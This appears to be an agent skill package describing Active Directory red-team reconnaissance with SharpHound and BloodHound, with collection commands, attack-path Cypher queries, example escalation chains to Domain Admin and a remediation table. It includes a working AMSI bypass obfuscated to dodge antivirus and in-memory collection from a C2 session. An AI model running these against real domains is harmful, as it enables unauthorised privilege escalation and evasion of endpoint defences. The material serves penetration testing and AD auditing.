performing-active-directory-bloodhound-analysis

v2026.09.24

Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.

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npx skhub add mukul975/performing-active-directory-bloodhound-analysis
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SKILL.md

Performing Active Directory BloodHound Analysis

Overview

BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.

When to Use

  • When conducting security assessments that involve performing active directory bloodhound analysis
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Initial foothold on a domain-joined Windows system (or valid domain credentials)
  • BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
  • SharpHound collector (C# binary or PowerShell module)
  • Neo4j database (Legacy) or PostgreSQL (CE)
  • Network access to domain controllers (LDAP TCP/389, LDAPS TCP/636)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

MITRE ATT&CK Mapping

Technique IDNameTactic
T1087.002Account Discovery: Domain AccountDiscovery
T1069.002Permission Groups Discovery: Domain GroupsDiscovery
T1018Remote System DiscoveryDiscovery
T1482Domain Trust DiscoveryDiscovery
T1615Group Policy DiscoveryDiscovery
T1069.001Permission Groups Discovery: Local GroupsDiscovery

Step 1: Data Collection with SharpHound

SharpHound.exe (Preferred for OPSEC)

# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip

# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp

# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123

# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00

# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp

Invoke-BloodHound (PowerShell)

# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip

# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)

AzureHound (Azure AD)

# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json

# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound

Step 2: Import Data into BloodHound

BloodHound CE (v5+)

# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up

# Access web interface at https://localhost:8080
# Default credentials: admin / bloodhound
# Upload ZIP file via GUI: Upload Data > Select File

BloodHound Legacy

# Start Neo4j
sudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)

# Start BloodHound GUI
./BloodHound --no-sandbox

# Drag and drop ZIP file into BloodHound GUI

Step 3: Attack Path Analysis

Pre-Built Queries (Most Critical)

-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n

-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p

-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname

-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name

-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p

-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate

-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)
RETURN p LIMIT 50

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name

Custom Cypher Queries

-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name

-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50

-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name

-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

-- Find service accounts with admin access
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name

Step 4: Common Attack Paths

Path 1: Kerberoasting to DA

User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin

Path 2: ACL Abuse Chain

User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin

Path 3: Unconstrained Delegation

User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync

Path 4: GPO Abuse

User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM

Step 5: Remediation Recommendations

FindingRiskRemediation
Kerberoastable DACriticalUse gMSA, rotate passwords, AES-only
Unconstrained DelegationCriticalMigrate to constrained/RBCD delegation
Domain Users local adminHighRemove DA from local admin, use LAPS
Excessive ACL permissionsHighAudit and reduce GenericAll/WriteDACL
Stale admin sessionsMediumImplement session cleanup, restrict RDP
Cross-domain trust abuseHighReview trust direction and SID filtering

References

Discovery
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Version
Latest version metadata

Version

v2026.09.24

Published

Sep 24, 2026

Category

Uncategorized

License

Apache-2.0

Source path

skills/performing-active-directory-bloodhound-analysis

Default branch

main

Latest commit

54a7988

Tree SHA

d110e8c